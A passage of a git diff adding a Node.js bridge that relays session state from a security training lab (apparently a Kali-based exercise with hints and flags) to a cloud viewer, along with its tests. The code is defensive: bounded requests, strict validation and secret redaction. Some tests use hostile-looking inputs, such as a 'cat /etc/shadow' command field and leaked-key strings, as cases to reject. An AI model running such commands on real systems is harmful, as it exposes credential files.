+          objective: text(input.objective, "projection.objective", {
+            maximum: 500,
+          }),
+        }),
+    ...(input.consultationQuestion === undefined
+      ? {}
+      : {
+          consultationQuestion: text(
+            input.consultationQuestion,
+            "projection.consultationQuestion",
+            { maximum: 500 },
+          ),
+        }),
+    facts,
+    hypotheses,
+    ...(investigations === undefined ? {} : { investigations }),
+    graph: { nodes, edges },
+    hints,
+    progress: { discovered, total },
+    recentEvents,
+    telemetry: {
+      status: telemetry.status,
+      ...(telemetry.message === undefined
+        ? {}
+        : {
+            message: optionalText(
+              telemetry.message,
+              "projection.telemetry.message",
+            ),
+          }),
+    },
+    capabilities: {
+      manualFlagSubmission: false,
+    },
+  };
+}
diff --git a/labs/open-world-target/bridge/src/request.mjs b/labs/open-world-target/bridge/src/request.mjs
new file mode 100644
index 0000000..e9818b2
--- /dev/null
+++ b/labs/open-world-target/bridge/src/request.mjs
@@ -0,0 +1,177 @@
+import { BridgeError } from "./errors.mjs";
+
+export const MAX_CONTROL_BYTES = 64 * 1024;
+
+function makeAbort(signal, timeoutMs) {
+  const controller = new AbortController();
+  let externalAbort;
+  if (signal) {
+    if (signal.aborted) controller.abort(signal.reason);
+    externalAbort = () => controller.abort(signal.reason);
+    signal.addEventListener("abort", externalAbort, { once: true });
+  }
+  const timeout = setTimeout(
+    () =>
+      controller.abort(
+        new BridgeError("request_timeout", "bounded HTTP request timed out", {
+          retryable: true,
+        }),
+      ),
+    timeoutMs,
+  );
+  return {
+    signal: controller.signal,
+    release() {
+      clearTimeout(timeout);
+      if (externalAbort) signal.removeEventListener("abort", externalAbort);
+    },
+  };
+}
+
+async function boundedText(response, maximumBytes) {
+  if (!response.body) return "";
+  const reader = response.body.getReader();
+  const decoder = new TextDecoder("utf-8", { fatal: true });
+  let size = 0;
+  let value = "";
+  try {
+    while (true) {
+      const chunk = await reader.read();
+      if (chunk.done) break;
+      size += chunk.value.byteLength;
+      if (size > maximumBytes) {
+        await reader.cancel();
+        throw new BridgeError(
+          "response_too_large",
+          "HTTP response exceeded its bounded size",
+        );
+      }
+      value += decoder.decode(chunk.value, { stream: true });
+    }
+    value += decoder.decode();
+    return value;
+  } catch (error) {
+    if (error instanceof BridgeError) throw error;
+    throw new BridgeError(
+      "invalid_response",
+      "HTTP response is not valid UTF-8",
+    );
+  } finally {
+    reader.releaseLock();
+  }
+}
+
+export async function fetchHeaders(
+  fetchImpl,
+  url,
+  { method = "GET", headers = {}, body, signal, timeoutMs },
+) {
+  const bounded = makeAbort(signal, timeoutMs);
+  try {
+    return await fetchImpl(url, {
+      method,
+      headers,
+      body,
+      signal: bounded.signal,
+      redirect: "error",
+      cache: "no-store",
+    });
+  } catch (error) {
+    if (bounded.signal.aborted) {
+      throw bounded.signal.reason instanceof Error
+        ? bounded.signal.reason
+        : new BridgeError("request_aborted", "HTTP request was aborted", {
+            retryable: true,
+          });
+    }
+    throw new BridgeError("request_failed", "HTTP request failed", {
+      retryable: true,
+      cause: error,
+    });
+  } finally {
+    bounded.release();
+  }
+}
+
+export async function requestJson(
+  fetchImpl,
+  url,
+  {
+    method = "GET",
+    headers = {},
+    body,
+    signal,
+    timeoutMs,
+    maximumBytes = MAX_CONTROL_BYTES,
+    statuses = [200],
+    allowEmpty = false,
+  },
+) {
+  const serializedBody = body === undefined ? undefined : JSON.stringify(body);
+  const bounded = makeAbort(signal, timeoutMs);
+  let response;
+  try {
+    try {
+      response = await fetchImpl(url, {
+        method,
+        headers: {
+          accept: "application/json",
+          ...(serializedBody === undefined
+            ? {}
+            : { "content-type": "application/json" }),
+          ...headers,
+        },
+        body: serializedBody,
+        signal: bounded.signal,
+        redirect: "error",
+        cache: "no-store",
+      });
+    } catch (error) {
+      if (bounded.signal.aborted) {
+        throw bounded.signal.reason instanceof Error
+          ? bounded.signal.reason
+          : new BridgeError("request_aborted", "HTTP request was aborted", {
+              retryable: true,
+            });
+      }
+      throw new BridgeError("request_failed", "HTTP request failed", {
+        retryable: true,
+        cause: error,
+      });
+    }
+    if (!statuses.includes(response.status)) {
+      try {
+        await response.body?.cancel();
+      } catch {
+        // Ignore peer shutdown while returning a static safe error.
+      }
+      throw new BridgeError(
+        "unexpected_status",
+        `HTTP peer returned status ${response.status}`,
+        { retryable: response.status >= 500 || response.status === 429 },
+      );
+    }
+    if (allowEmpty && [202, 204].includes(response.status)) return undefined;
+    const contentType = response.headers.get("content-type") ?? "";
+    if (!contentType.toLowerCase().startsWith("application/json")) {
+      try {
+        await response.body?.cancel();
+      } catch {
+        // Ignore peer shutdown while returning a static safe error.
+      }
+      throw new BridgeError(
+        "invalid_content_type",
+        "HTTP peer did not return application/json",
+      );
+    }
+    const text = await boundedText(response, maximumBytes);
+    if (allowEmpty && text.length === 0) return undefined;
+    try {
+      return JSON.parse(text);
+    } catch {
+      throw new BridgeError("invalid_json", "HTTP peer returned invalid JSON");
+    }
+  } finally {
+    bounded.release();
+  }
+}
diff --git a/labs/open-world-target/bridge/src/sse.mjs b/labs/open-world-target/bridge/src/sse.mjs
new file mode 100644
index 0000000..174bad8
--- /dev/null
+++ b/labs/open-world-target/bridge/src/sse.mjs
@@ -0,0 +1,204 @@
+import { BridgeError } from "./errors.mjs";
+import { MAX_PROJECTION_BYTES } from "./projection.mjs";
+
+export const MAX_SSE_EVENT_BYTES = MAX_PROJECTION_BYTES + 8_192;
+
+function timeoutError() {
+  return new BridgeError(
+    "target_sse_idle",
+    "target SSE stopped sending bounded keepalives",
+    { retryable: true },
+  );
+}
+
+async function readWithDeadline(reader, milliseconds, signal) {
+  let timeout;
+  let abortHandler;
+  const deadline = new Promise((_, reject) => {
+    timeout = setTimeout(() => reject(timeoutError()), milliseconds);
+  });
+  const aborted = new Promise((_, reject) => {
+    if (!signal) return;
+    if (signal.aborted) {
+      reject(signal.reason ?? new DOMException("Aborted", "AbortError"));
+      return;
+    }
+    abortHandler = () =>
+      reject(signal.reason ?? new DOMException("Aborted", "AbortError"));
+    signal.addEventListener("abort", abortHandler, { once: true });
+  });
+  try {
+    return await Promise.race([reader.read(), deadline, aborted]);
+  } finally {
+    clearTimeout(timeout);
+    if (abortHandler) signal.removeEventListener("abort", abortHandler);
+  }
+}
+
+function dispatchFrame(frame) {
+  if (frame.data.length === 0) return null;
+  return {
+    event: frame.event || "message",
+    id: frame.id,
+    data: frame.data.join("\n"),
+    retry: frame.retry,
+  };
+}
+
+function parseLine(line, frame) {
+  if (line.startsWith(":")) return;
+  const colon = line.indexOf(":");
+  const field = colon === -1 ? line : line.slice(0, colon);
+  let value = colon === -1 ? "" : line.slice(colon + 1);
+  if (value.startsWith(" ")) value = value.slice(1);
+
+  if (field === "data") frame.data.push(value);
+  if (field === "event") frame.event = value;
+  if (field === "id" && !value.includes("\u0000")) frame.id = value;
+  if (field === "retry" && /^\d{1,9}$/.test(value)) {
+    frame.retry = Number(value);
+  }
+}
+
+export async function* parseSseStream(
+  stream,
+  {
+    idleTimeoutMs = 25_000,
+    maxEventBytes = MAX_SSE_EVENT_BYTES,
+    signal,
+  } = {},
+) {
+  if (!stream || typeof stream.getReader !== "function") {
+    throw new BridgeError("invalid_sse", "target SSE body is not readable");
+  }
+  const reader = stream.getReader();
+  const decoder = new TextDecoder("utf-8", { fatal: true });
+  let buffer = "";
+  let eventBytes = 0;
+  let frame = { data: [], event: "", id: "", retry: undefined };
+
+  try {
+    while (true) {
+      const { done, value } = await readWithDeadline(
+        reader,
+        idleTimeoutMs,
+        signal,
+      );
+      if (done) break;
+      let decoded;
+      try {
+        decoded = decoder.decode(value, { stream: true });
+      } catch {
+        throw new BridgeError(
+          "invalid_sse",
+          "target SSE is not valid UTF-8",
+        );
+      }
+      buffer += decoded;
+      if (Buffer.byteLength(buffer) > maxEventBytes) {
+        throw new BridgeError(
+          "sse_event_too_large",
+          "target SSE event exceeded the public projection limit",
+        );
+      }
+
+      while (true) {
+        const newline = buffer.indexOf("\n");
+        if (newline === -1) break;
+        let line = buffer.slice(0, newline);
+        buffer = buffer.slice(newline + 1);
+        if (line.endsWith("\r")) line = line.slice(0, -1);
+        eventBytes += Buffer.byteLength(line) + 1;
+        if (eventBytes > maxEventBytes) {
+          throw new BridgeError(
+            "sse_event_too_large",
+            "target SSE event exceeded the public projection limit",
+          );
+        }
+        if (line === "") {
+          const dispatched = dispatchFrame(frame);
+          frame = { data: [], event: "", id: "", retry: undefined };
+          eventBytes = 0;
+          if (dispatched) yield dispatched;
+        } else {
+          parseLine(line, frame);
+        }
+      }
+    }
+
+    buffer += decoder.decode();
+    if (buffer.length > 0) {
+      let line = buffer.endsWith("\r") ? buffer.slice(0, -1) : buffer;
+      eventBytes += Buffer.byteLength(line);
+      if (eventBytes > maxEventBytes) {
+        throw new BridgeError(
+          "sse_event_too_large",
+          "target SSE event exceeded the public projection limit",
+        );
+      }
+      parseLine(line, frame);
+    }
+    const dispatched = dispatchFrame(frame);
+    if (dispatched) yield dispatched;
+  } finally {
+    try {
+      await reader.cancel();
+    } catch {
+      // The target may already have closed the response.
+    }
+    reader.releaseLock();
+  }
+}
+
+export function parseProjectionFrame(frame) {
+  if (
+    !frame ||
+    !["message", "state", "snapshot"].includes(frame.event)
+  ) {
+    return null;
+  }
+  let projection;
+  try {
+    projection = JSON.parse(frame.data);
+  } catch {
+    throw new BridgeError("invalid_sse_json", "target SSE data is not JSON");
+  }
+  if (frame.id !== "") {
+    if (!/^\d+$/.test(frame.id) || Number(frame.id) !== projection?.revision) {
+      throw new BridgeError(
+        "invalid_sse_revision",
+        "target SSE id does not match its projection revision",
+      );
+    }
+  }
+  return projection;
+}
+
+export function reconnectDelay(
+  attempt,
+  { baseMs = 500, maxMs = 30_000, random = Math.random } = {},
+) {
+  const boundedAttempt = Math.max(0, Math.min(20, Number(attempt) || 0));
+  const exponential = Math.min(maxMs, baseMs * 2 ** boundedAttempt);
+  const jitter = 0.75 + Math.max(0, Math.min(1, random())) * 0.5;
+  return Math.max(baseMs, Math.min(maxMs, Math.round(exponential * jitter)));
+}
+
+export function waitFor(milliseconds, signal) {
+  return new Promise((resolve, reject) => {
+    if (signal?.aborted) {
+      reject(signal.reason ?? new DOMException("Aborted", "AbortError"));
+      return;
+    }
+    const timer = setTimeout(done, milliseconds);
+    function done() {
+      signal?.removeEventListener("abort", aborted);
+      resolve();
+    }
+    function aborted() {
+      clearTimeout(timer);
+      reject(signal.reason ?? new DOMException("Aborted", "AbortError"));
+    }
+    signal?.addEventListener("abort", aborted, { once: true });
+  });
+}
diff --git a/labs/open-world-target/bridge/tests/actions.test.mjs b/labs/open-world-target/bridge/tests/actions.test.mjs
new file mode 100644
index 0000000..1cc3051
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/actions.test.mjs
@@ -0,0 +1,56 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  targetPathForAction,
+  validateAction,
+} from "../src/actions.mjs";
+import { TargetClient } from "../src/http.mjs";
+import { action } from "./helpers.mjs";
+
+const TARGET_TOKEN = "target-secret-".padEnd(40, "t");
+
+test("allowlisted actions map only to fixed target paths", () => {
+  assert.equal(
+    targetPathForAction(action()),
+    "/api/session/hypotheses/hyp-service-inventory/select",
+  );
+  assert.equal(
+    targetPathForAction(
+      action({
+        id: "action-002",
+        type: "unlockHint",
+        targetId: "hyp-service-inventory:1",
+      }),
+    ),
+    "/api/session/hints/hyp-service-inventory%3A1/unlock",
+  );
+});
+
+test("manual flags, arbitrary paths, and extra action fields are rejected", () => {
+  assert.throws(
+    () => validateAction(action({ type: "submitFlag" })),
+    /not allowed/,
+  );
+  assert.throws(
+    () => validateAction({ ...action(), command: "id" }),
+    /unsupported fields/,
+  );
+
+  const target = new TargetClient({
+    origin: "http://10.13.37.10:8787",
+    targetToken: TARGET_TOKEN,
+    requestTimeoutMs: 1_000,
+    fetchImpl: async () => {
+      throw new Error("must not fetch");
+    },
+  });
+  assert.throws(
+    () => target.applyAction("/api/session/flags/submit"),
+    /not fixed/,
+  );
+  assert.throws(
+    () => target.applyAction("https://example.test/api/session/hints/x/unlock"),
+    /not fixed/,
+  );
+});
diff --git a/labs/open-world-target/bridge/tests/bridge.test.mjs b/labs/open-world-target/bridge/tests/bridge.test.mjs
new file mode 100644
index 0000000..226e66b
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/bridge.test.mjs
@@ -0,0 +1,179 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { KaliBridge } from "../src/bridge.mjs";
+import { action, projection } from "./helpers.mjs";
+
+function openStateStream(value) {
+  const encoder = new TextEncoder();
+  return new Response(
+    new ReadableStream({
+      start(controller) {
+        controller.enqueue(
+          encoder.encode(
+            `id: ${value.revision}\nevent: state\ndata: ${JSON.stringify(value)}\n\n`,
+          ),
+        );
+      },
+    }),
+    {
+      headers: { "content-type": "text/event-stream" },
+    },
+  );
+}
+
+test("bridge prints only pairing data, relays state, and acknowledges fixed actions", async () => {
+  const initial = projection();
+  const afterAction = projection({
+    revision: 1,
+    hypotheses: [
+      {
+        ...initial.hypotheses[0],
+        selected: true,
+      },
+    ],
+  });
+  const targetPaths = [];
+  const target = {
+    secrets: ["target-token-that-must-not-print"],
+    async getState() {
+      return initial;
+    },
+    async openEvents() {
+      return openStateStream(initial);
+    },
+    async applyAction(path) {
+      targetPaths.push(path);
+      return afterAction;
+    },
+  };
+  const uploads = [];
+  let bridge;
+  const cloud = {
+    secrets: [
+      "deployment-token-that-must-not-print",
+      "upload-token-that-must-not-print",
+    ],
+    async createSession(targetSessionId) {
+      assert.equal(targetSessionId, initial.sessionId);
+      return {
+        sessionId: "cloud-session-secret",
+        pairingCode: "PAIR23",
+        viewerUrl: "https://guide.example.test/live",
+        expiresAt: "2026-07-28T01:00:00.000Z",
+      };
+    },
+    async uploadSnapshot(value, { ackActionIds }) {
+      uploads.push({ value, ackActionIds });
+      if (ackActionIds.length === 1) queueMicrotask(() => bridge.stop());
+    },
+    async pollActions() {
+      return {
+        actions: [action()],
+        pollAfterMs: 250,
+      };
+    },
+  };
+  let output = "";
+  bridge = new KaliBridge({
+    config: {
+      actionPollMs: 250,
+      heartbeatMs: 60_000,
+      requestTimeoutMs: 1_000,
+      sseIdleTimeoutMs: 60_000,
+      reconnectBaseMs: 100,
+      reconnectMaxMs: 1_000,
+    },
+    targetClient: target,
+    cloudClient: cloud,
+    output: (value) => {
+      output += value;
+    },
+    errorOutput: () => undefined,
+    random: () => 0.5,
+  });
+
+  await bridge.run();
+
+  assert.equal(
+    output,
+    "Pairing code: PAIR23\nViewer URL: https://guide.example.test/live\n",
+  );
+  assert.doesNotMatch(
+    output,
+    /cloud-session-secret|deployment-token|upload-token/,
+  );
+  assert.doesNotMatch(output, /target-token/);
+  assert.deepEqual(targetPaths, [
+    "/api/session/hypotheses/hyp-service-inventory/select",
+  ]);
+  assert.equal(uploads.length, 2);
+  assert.deepEqual(uploads[1].ackActionIds, ["action-001"]);
+  assert.equal(uploads[1].value.revision, 1);
+});
+
+test("does not acknowledge an action until its resulting revision is accepted", async () => {
+  const initial = projection({ revision: 1 });
+  const rolledBack = projection({ revision: 0 });
+  const applied = projection({ revision: 2 });
+  let actionAttempts = 0;
+  const target = {
+    secrets: [],
+    async getState() {
+      return initial;
+    },
+    async openEvents() {
+      return openStateStream(initial);
+    },
+    async applyAction() {
+      actionAttempts += 1;
+      return actionAttempts === 1 ? rolledBack : applied;
+    },
+  };
+  const uploads = [];
+  let bridge;
+  const cloud = {
+    secrets: [],
+    async createSession() {
+      return {
+        sessionId: "cloud-session-rollback",
+        pairingCode: "ROLL23",
+        viewerUrl: "https://guide.example.test/",
+        expiresAt: "2026-07-28T01:00:00.000Z",
+      };
+    },
+    async uploadSnapshot(value, { ackActionIds }) {
+      uploads.push({ value, ackActionIds });
+      if (ackActionIds.length === 1) queueMicrotask(() => bridge.stop());
+    },
+    async pollActions() {
+      return { actions: [action()], pollAfterMs: 250 };
+    },
+  };
+
+  bridge = new KaliBridge({
+    config: {
+      actionPollMs: 250,
+      heartbeatMs: 60_000,
+      requestTimeoutMs: 1_000,
+      sseIdleTimeoutMs: 60_000,
+      reconnectBaseMs: 1,
+      reconnectMaxMs: 1,
+    },
+    targetClient: target,
+    cloudClient: cloud,
+    output: () => undefined,
+    errorOutput: () => undefined,
+    random: () => 0,
+  });
+
+  await bridge.run();
+
+  assert.equal(actionAttempts, 2);
+  const acknowledgements = uploads.filter(
+    ({ ackActionIds }) => ackActionIds.length > 0,
+  );
+  assert.equal(acknowledgements.length, 1);
+  assert.equal(acknowledgements[0].value.revision, 2);
+  assert.deepEqual(acknowledgements[0].ackActionIds, ["action-001"]);
+});
diff --git a/labs/open-world-target/bridge/tests/config.test.mjs b/labs/open-world-target/bridge/tests/config.test.mjs
new file mode 100644
index 0000000..d3d4632
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/config.test.mjs
@@ -0,0 +1,99 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  DEFAULT_TARGET_ORIGIN,
+  loadConfig,
+} from "../src/config.mjs";
+
+const TOKEN = "deployment-secret-".padEnd(40, "x");
+const TARGET_TOKEN = "target-secret-".padEnd(40, "t");
+
+test("configuration defaults to the direct Debian telemetry origin", () => {
+  const config = loadConfig({
+    BRIDGE_CLOUD_ORIGIN: "https://guide.example.test",
+    BRIDGE_DEPLOYMENT_TOKEN: TOKEN,
+    BRIDGE_TARGET_TOKEN: TARGET_TOKEN,
+  });
+
+  assert.equal(config.targetOrigin, DEFAULT_TARGET_ORIGIN);
+  assert.equal(config.cloudOrigin, "https://guide.example.test");
+  assert.equal(config.targetToken, TARGET_TOKEN);
+  assert.equal(config.heartbeatMs, 10_000);
+  assert.equal(config.actionPollMs, 1_000);
+});
+
+test("configuration accepts an explicit loopback origin and bounded intervals", () => {
+  const config = loadConfig({
+    BRIDGE_TARGET_ORIGIN: "http://127.0.0.1:8787",
+    BRIDGE_CLOUD_ORIGIN: "http://127.0.0.1:4000",
+    BRIDGE_DEPLOYMENT_TOKEN: TOKEN,
+    BRIDGE_TARGET_TOKEN: TARGET_TOKEN,
+    BRIDGE_HEARTBEAT_MS: "5000",
+    BRIDGE_ACTION_POLL_MS: "250",
+    BRIDGE_REQUEST_TIMEOUT_MS: "30000",
+  });
+
+  assert.equal(config.targetOrigin, "http://127.0.0.1:8787");
+  assert.equal(config.cloudOrigin, "http://127.0.0.1:4000");
+  assert.equal(config.heartbeatMs, 5_000);
+  assert.equal(config.actionPollMs, 250);
+});
+
+test("configuration rejects unsafe cloud transport, credentials, and secrets", () => {
+  assert.throws(
+    () =>
+      loadConfig({
+        BRIDGE_TARGET_ORIGIN: "http://192.0.2.10:8787",
+        BRIDGE_CLOUD_ORIGIN: "https://guide.example.test",
+        BRIDGE_DEPLOYMENT_TOKEN: TOKEN,
+        BRIDGE_TARGET_TOKEN: TARGET_TOKEN,
+      }),
+    /direct target address or loopback/,
+  );
+  assert.throws(
+    () =>
+      loadConfig({
+        BRIDGE_CLOUD_ORIGIN: "http://cloud.example.test",
+        BRIDGE_DEPLOYMENT_TOKEN: TOKEN,
+        BRIDGE_TARGET_TOKEN: TARGET_TOKEN,
+      }),
+    /must use HTTPS/,
+  );
+  assert.throws(
+    () =>
+      loadConfig({
+        BRIDGE_CLOUD_ORIGIN: "https://user:pass@cloud.example.test",
+        BRIDGE_DEPLOYMENT_TOKEN: TOKEN,
+        BRIDGE_TARGET_TOKEN: TARGET_TOKEN,
+      }),
+    /without credentials/,
+  );
+  assert.throws(
+    () =>
+      loadConfig({
+        BRIDGE_CLOUD_ORIGIN: "https://cloud.example.test",
+        BRIDGE_DEPLOYMENT_TOKEN: "short",
+        BRIDGE_TARGET_TOKEN: TARGET_TOKEN,
+      }),
+    /32-512/,
+  );
+  assert.throws(
+    () =>
+      loadConfig({
+        BRIDGE_CLOUD_ORIGIN: "https://cloud.example.test",
+        BRIDGE_DEPLOYMENT_TOKEN: TOKEN,
+        BRIDGE_TARGET_TOKEN: TARGET_TOKEN,
+        BRIDGE_HEARTBEAT_MS: "4999",
+      }),
+    /5000 to 60000/,
+  );
+  assert.throws(
+    () =>
+      loadConfig({
+        BRIDGE_CLOUD_ORIGIN: "https://cloud.example.test",
+        BRIDGE_DEPLOYMENT_TOKEN: TOKEN,
+      }),
+    /BRIDGE_TARGET_TOKEN.*32-512/,
+  );
+});
diff --git a/labs/open-world-target/bridge/tests/errors.test.mjs b/labs/open-world-target/bridge/tests/errors.test.mjs
new file mode 100644
index 0000000..a605dea
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/errors.test.mjs
@@ -0,0 +1,26 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { redactText, writeSafeError } from "../src/errors.mjs";
+
+test("secret-safe errors redact known tokens, bearer values, flags, and URL credentials", () => {
+  const secret = "session-upload-token-that-must-never-be-printed";
+  const input = new Error(
+    `failed Bearer other-secret token=${secret} ` +
+      `https://user:password@example.test FLAG{private}`,
+  );
+  const redacted = redactText(input, [secret]);
+
+  assert.doesNotMatch(redacted, /other-secret/);
+  assert.doesNotMatch(redacted, /session-upload/);
+  assert.doesNotMatch(redacted, /password@example/);
+  assert.doesNotMatch(redacted, /FLAG\{/);
+  assert.match(redacted, /REDACTED/);
+
+  let written = "";
+  writeSafeError((value) => {
+    written += value;
+  }, "cloud_retry", input, { secrets: [secret] });
+  assert.match(written, /^bridge_error code=cloud_retry/);
+  assert.doesNotMatch(written, /session-upload|FLAG\{|password@example/);
+});
diff --git a/labs/open-world-target/bridge/tests/helpers.mjs b/labs/open-world-target/bridge/tests/helpers.mjs
new file mode 100644
index 0000000..befa0e4
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/helpers.mjs
@@ -0,0 +1,74 @@
+export function projection(overrides = {}) {
+  return {
+    sessionId: "exercise-test-001",
+    revision: 0,
+    status: "active",
+    facts: [],
+    hypotheses: [
+      {
+        id: "hyp-service-inventory",
+        label: "応答するサービスを整理する",
+        summary: "見えている面を事実として並べる。",
+        selected: true,
+        available: true,
+      },
+    ],
+    graph: {
+      nodes: [
+        { id: "map-01", state: "undiscovered" },
+        { id: "map-02", state: "undiscovered" },
+        { id: "map-03", state: "undiscovered" },
+      ],
+      edges: [],
+    },
+    hints: [
+      {
+        id: "hyp-service-inventory:1",
+        step: 1,
+        title: "見る場所",
+        state: "available",
+      },
+      {
+        id: "hyp-service-inventory:2",
+        step: 2,
+        title: "使う道具",
+        state: "locked",
+      },
+      {
+        id: "hyp-service-inventory:3",
+        step: 3,
+        title: "操作例",
+        state: "locked",
+      },
+    ],
+    progress: {
+      discovered: 0,
+      total: 14,
+    },
+    recentEvents: [],
+    telemetry: {
+      status: "live",
+    },
+    ...overrides,
+  };
+}
+
+export function jsonResponse(value, { status = 200, headers = {} } = {}) {
+  return new Response(JSON.stringify(value), {
+    status,
+    headers: {
+      "content-type": "application/json; charset=utf-8",
+      ...headers,
+    },
+  });
+}
+
+export function action(overrides = {}) {
+  return {
+    id: "action-001",
+    type: "selectHypothesis",
+    targetId: "hyp-service-inventory",
+    createdAt: "2026-07-28T00:00:00.000Z",
+    ...overrides,
+  };
+}
diff --git a/labs/open-world-target/bridge/tests/http.test.mjs b/labs/open-world-target/bridge/tests/http.test.mjs
new file mode 100644
index 0000000..ebc0d66
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/http.test.mjs
@@ -0,0 +1,142 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { CloudClient, TargetClient } from "../src/http.mjs";
+import { action, jsonResponse, projection } from "./helpers.mjs";
+
+const DEPLOYMENT_TOKEN = "deployment-token-".padEnd(40, "d");
+const TARGET_TOKEN = "target-token-".padEnd(40, "t");
+const UPLOAD_TOKEN = "upload-token-".padEnd(40, "u");
+
+test("cloud client uses exact session, snapshot, and action contracts", async () => {
+  const calls = [];
+  const fetchImpl = async (url, init) => {
+    calls.push({ url, init });
+    const path = new URL(url).pathname;
+    if (path === "/api/lab/bridge/session") {
+      return jsonResponse({
+        sessionId: "cloud-session-001",
+        pairingCode: "ABCD23",
+        uploadToken: UPLOAD_TOKEN,
+        viewerUrl: "https://guide.example.test/live",
+        expiresAt: "2026-07-28T01:00:00.000Z",
+      });
+    }
+    if (path === "/api/lab/bridge/snapshot") {
+      return new Response(null, { status: 204 });
+    }
+    if (path === "/api/lab/bridge/actions") {
+      return jsonResponse({
+        actions: [action()],
+        pollAfterMs: 750,
+      });
+    }
+    throw new Error("unexpected path");
+  };
+  const cloud = new CloudClient({
+    origin: "https://guide.example.test",
+    deploymentToken: DEPLOYMENT_TOKEN,
+    requestTimeoutMs: 1_000,
+    fetchImpl,
+  });
+
+  const session = await cloud.createSession("exercise-test-001");
+  assert.deepEqual(session, {
+    sessionId: "cloud-session-001",
+    pairingCode: "ABCD23",
+    viewerUrl: "https://guide.example.test/live",
+    expiresAt: "2026-07-28T01:00:00.000Z",
+  });
+  await cloud.uploadSnapshot(projection(), {
+    ackActionIds: ["action-001"],
+  });
+  const actions = await cloud.pollActions();
+  assert.equal(actions.actions[0].type, "selectHypothesis");
+  assert.equal(actions.pollAfterMs, 750);
+
+  assert.equal(
+    calls[0].init.headers.authorization,
+    `Bearer ${DEPLOYMENT_TOKEN}`,
+  );
+  assert.deepEqual(JSON.parse(calls[0].init.body), {
+    targetSessionId: "exercise-test-001",
+  });
+  assert.equal(calls[1].init.headers.authorization, `Bearer ${UPLOAD_TOKEN}`);
+  assert.equal(calls[1].init.headers["x-lab-session"], "cloud-session-001");
+  assert.deepEqual(
+    JSON.parse(calls[1].init.body).ackActionIds,
+    ["action-001"],
+  );
+  assert.equal(calls[2].init.method, "GET");
+  assert.deepEqual(
+    calls.map(({ url }) => new URL(url).pathname),
+    [
+      "/api/lab/bridge/session",
+      "/api/lab/bridge/snapshot",
+      "/api/lab/bridge/actions",
+    ],
+  );
+});
+
+test("target client rejects wrong content type and oversized JSON", async () => {
+  const wrongType = new TargetClient({
+    origin: "http://10.13.37.10:8787",
+    targetToken: TARGET_TOKEN,
+    requestTimeoutMs: 1_000,
+    fetchImpl: async () =>
+      new Response("<html>not telemetry</html>", {
+        headers: { "content-type": "text/html" },
+      }),
+  });
+  await assert.rejects(() => wrongType.getState(), /application\/json/);
+
+  const oversized = new TargetClient({
+    origin: "http://10.13.37.10:8787",
+    targetToken: TARGET_TOKEN,
+    requestTimeoutMs: 1_000,
+    fetchImpl: async () =>
+      jsonResponse({ padding: "x".repeat(300 * 1024) }),
+  });
+  await assert.rejects(() => oversized.getState(), /bounded size/);
+});
+
+test("target client authenticates state, events, and fixed actions", async () => {
+  const calls = [];
+  const fetchImpl = async (url, init) => {
+    calls.push({ path: new URL(url).pathname, init });
+    if (new URL(url).pathname === "/api/session/events") {
+      return new Response("", {
+        headers: { "content-type": "text/event-stream" },
+      });
+    }
+    return jsonResponse(projection());
+  };
+  const target = new TargetClient({
+    origin: "http://10.13.37.10:8787",
+    targetToken: TARGET_TOKEN,
+    requestTimeoutMs: 1_000,
+    fetchImpl,
+  });
+
+  await target.getState();
+  const events = await target.openEvents({ lastEventId: 7 });
+  await events.body.cancel();
+  await target.applyAction(
+    "/api/session/hypotheses/hyp-service-inventory/select",
+  );
+
+  assert.deepEqual(
+    calls.map(({ path }) => path),
+    [
+      "/api/session/state",
+      "/api/session/events",
+      "/api/session/hypotheses/hyp-service-inventory/select",
+    ],
+  );
+  for (const { init } of calls) {
+    assert.equal(init.headers.authorization, `Bearer ${TARGET_TOKEN}`);
+  }
+  assert.equal(calls[1].init.headers["last-event-id"], "7");
+  assert.equal(calls[2].init.method, "POST");
+  assert.doesNotMatch(JSON.stringify(calls), /flags\/submit/);
+});
diff --git a/labs/open-world-target/bridge/tests/projection.test.mjs b/labs/open-world-target/bridge/tests/projection.test.mjs
new file mode 100644
index 0000000..b0cded9
--- /dev/null
+++ b/labs/open-world-target/bridge/tests/projection.test.mjs
@@ -0,0 +1,132 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  ProjectionBoundaryError,
+  validateProjection,
+} from "../src/projection.mjs";
+import {
+  ProjectionConflictError,
+  ProjectionRollbackError,
+  ProjectionTracker,
+  projectionHash,
+} from "../src/projection-state.mjs";
+import { projection } from "./helpers.mjs";
+
+test("projection boundary keeps public fields and disables cloud flags", () => {
+  const value = projection({
+    capabilities: { manualFlagSubmission: true },
+  });
+  const validated = validateProjection(value);
+
+  assert.equal(validated.experience, "live");
+  assert.equal(validated.sessionId, value.sessionId);
+  assert.equal(validated.progress.total, 14);
+  assert.deepEqual(validated.capabilities, {
+    manualFlagSubmission: false,
+  });
+  assert.match(projectionHash(validated), /^[a-f0-9]{64}$/);
+});
+
+test("projection boundary rejects hidden, arbitrary, and flag material", () => {
+  const hidden = projection();
+  hidden.graph.nodes[0].label = "秘密の入口";
+  assert.throws(
+    () => validateProjection(hidden),
+    ProjectionBoundaryError,
+  );
+
+  const lockedBody = projection();
+  lockedBody.hints[1].body = "まだ見せない操作例";
+  assert.throws(
+    () => validateProjection(lockedBody),
+    /must not reveal a locked hint/,
+  );
+
+  const arbitrary = projection({ command: "cat /etc/shadow" });
+  assert.throws(
+    () => validateProjection(arbitrary),
+    /command is not allowed/,
+  );
+
+  const flag = projection();
+  flag.telemetry.message = "FLAG{must-not-leave-target}";
+  assert.throws(() => validateProjection(flag), ProjectionBoundaryError);
+
+  for (const secret of [
+    "password=supersecret",
+    "-----BEGIN OPENSSH PRIVATE KEY-----",
+    "authorization: bearer topsecret",
+  ]) {
+    const leakedSecret = projection();
+    leakedSecret.telemetry.message = secret;
+    assert.throws(
+      () => validateProjection(leakedSecret),
+      ProjectionBoundaryError,
+    );
+  }
+});
+
+test("projection tracker is monotonic and same-revision idempotent", () => {
+  const tracker = new ProjectionTracker();
